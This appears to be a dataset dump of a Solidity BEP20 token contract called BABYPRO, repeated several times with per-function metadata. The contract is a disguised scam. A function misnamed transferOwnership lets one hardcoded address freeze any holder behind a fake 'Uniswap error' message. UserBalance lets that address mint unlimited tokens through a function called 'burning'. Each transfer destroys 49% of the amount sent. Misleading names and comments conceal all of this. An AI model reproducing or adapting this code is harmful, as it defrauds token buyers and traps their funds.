* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | balanceOf | function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
| /**
* @dev See {BEP20-balanceOf}.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1509,
1626
]
} | 8,326 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | transferOwnership | function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
| /**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1835,
2090
]
} | 8,327 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | allowance | function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
| /**
* @dev See {BEP20-allowance}.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
2342,
2515
]
} | 8,328 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | approve | function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
2658,
2819
]
} | 8,329 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
